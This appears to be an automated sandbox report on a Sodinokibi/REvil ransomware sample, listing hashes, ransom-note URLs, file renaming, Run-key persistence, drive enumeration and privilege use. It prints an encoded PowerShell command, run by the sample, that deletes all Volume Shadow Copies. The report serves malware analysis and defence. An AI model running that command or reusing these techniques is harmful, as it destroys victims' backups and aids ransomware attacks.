Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
22-03-2021 16:14
Static task
static1
Behavioral task
behavioral1
Sample
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe
Resource
win10v20201028
General
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Target
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe
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Size
166KB
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MD5
41853ea1a78758fbb7199cf6763f7bfe
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SHA1
049438696f5f6fdd6daefb78a9b8c0e6a02d24fa
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SHA256
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28
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SHA512
f648e2e2fb1e44a0c7e985ddf850e9dccf37e563617f013ed18ff403f11c77c7aabffe0b699aef77d6b4a69b760bcebafdfce6c99b6da2722a20cc5a8c036930
Malware Config
Extracted
C:\3o3i0kfxe-read-me.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D0F63F820A458B4E
http://decryptor.cc/D0F63F820A458B4E
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exedescription ioc process File renamed C:\Users\Admin\Pictures\TraceDismount.raw => \??\c:\users\admin\pictures\TraceDismount.raw.3o3i0kfxe e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\users\admin\pictures\CopyUnblock.tiff e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\users\admin\pictures\StopResolve.tiff e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File renamed C:\Users\Admin\Pictures\CheckpointOpen.tif => \??\c:\users\admin\pictures\CheckpointOpen.tif.3o3i0kfxe e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File renamed C:\Users\Admin\Pictures\CopyUnblock.tiff => \??\c:\users\admin\pictures\CopyUnblock.tiff.3o3i0kfxe e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File renamed C:\Users\Admin\Pictures\StopResolve.tiff => \??\c:\users\admin\pictures\StopResolve.tiff.3o3i0kfxe e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File renamed C:\Users\Admin\Pictures\EnterSwitch.tif => \??\c:\users\admin\pictures\EnterSwitch.tif.3o3i0kfxe e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe" e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exedescription ioc process File opened (read-only) \??\F: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\G: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\J: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\M: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\S: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\V: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\Z: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\B: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\E: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\W: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\K: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\N: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\O: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\R: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\X: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\Y: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\A: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\H: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\I: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\L: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\P: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\Q: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\T: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\U: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened (read-only) \??\D: e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\8z033480.bmp" e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe -
Drops file in Program Files directory 34 IoCs
Processes:
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exedescription ioc process File opened for modification \??\c:\program files\NewRestore.iso e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\StopMeasure.ods e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ClearPing.ps1xml e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ConfirmHide.vb e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\DebugLock.au e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\MeasureLimit.asp e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\StepEnter.jpg e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ConnectGroup.rtf e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\DebugMount.mpeg e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\DisableLock.xltx e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ResumeRegister.dot e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File created \??\c:\program files\3o3i0kfxe-read-me.txt e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ApproveConnect.pdf e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ResetPublish.mov e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\MergeSync.wma e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\PublishMerge.mhtml e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\UpdateReceive.aif e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ConvertFromComplete.xltx e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\DebugRemove.ppsx e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\MeasureOpen.iso e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\UninstallInitialize.pptm e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ResetMove.xml e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ResizeEnter.fon e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\SubmitRename.vb e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\InitializeCopy.vsw e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\RestoreRevoke.xlsb e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\UnregisterStop.bmp e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File created \??\c:\program files (x86)\3o3i0kfxe-read-me.txt e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\RemoveBlock.xsl e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\SwitchInstall.fon e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\StartExpand.css e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\DenyGroup.rar e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\ExportInvoke.wav e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe File opened for modification \??\c:\program files\RestoreMove.au e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exepowershell.exepid process 640 e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe 640 e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe 3116 powershell.exe 3116 powershell.exe 3116 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 640 e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe Token: SeDebugPrivilege 3116 powershell.exe Token: SeBackupPrivilege 1592 vssvc.exe Token: SeRestorePrivilege 1592 vssvc.exe Token: SeAuditPrivilege 1592 vssvc.exe Token: SeTakeOwnershipPrivilege 640 e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exedescription pid process target process PID 640 wrote to memory of 3116 640 e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe powershell.exe PID 640 wrote to memory of 3116 640 e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe"C:\Users\Admin\AppData\Local\Temp\e2a92d1663e0e95aa46125f8bfeb8cb437e5b0eed16fbaa4685549c54aee2a28.exe"1⤵
- Modifies extensions of user files
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3116
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1904
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1592
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/3116-2-0x0000000000000000-mapping.dmp
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memory/3116-3-0x00007FFA00320000-0x00007FFA00D0C000-memory.dmpFilesize
9.9MB
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memory/3116-4-0x0000026A5B830000-0x0000026A5B831000-memory.dmpFilesize
4KB
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memory/3116-5-0x0000026A5DB00000-0x0000026A5DB01000-memory.dmpFilesize
4KB
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memory/3116-6-0x0000026A5B8A0000-0x0000026A5B8A2000-memory.dmpFilesize
8KB
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memory/3116-7-0x0000026A5B8A3000-0x0000026A5B8A5000-memory.dmpFilesize
8KB
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memory/3116-8-0x0000026A5B8A6000-0x0000026A5B8A8000-memory.dmpFilesize
8KB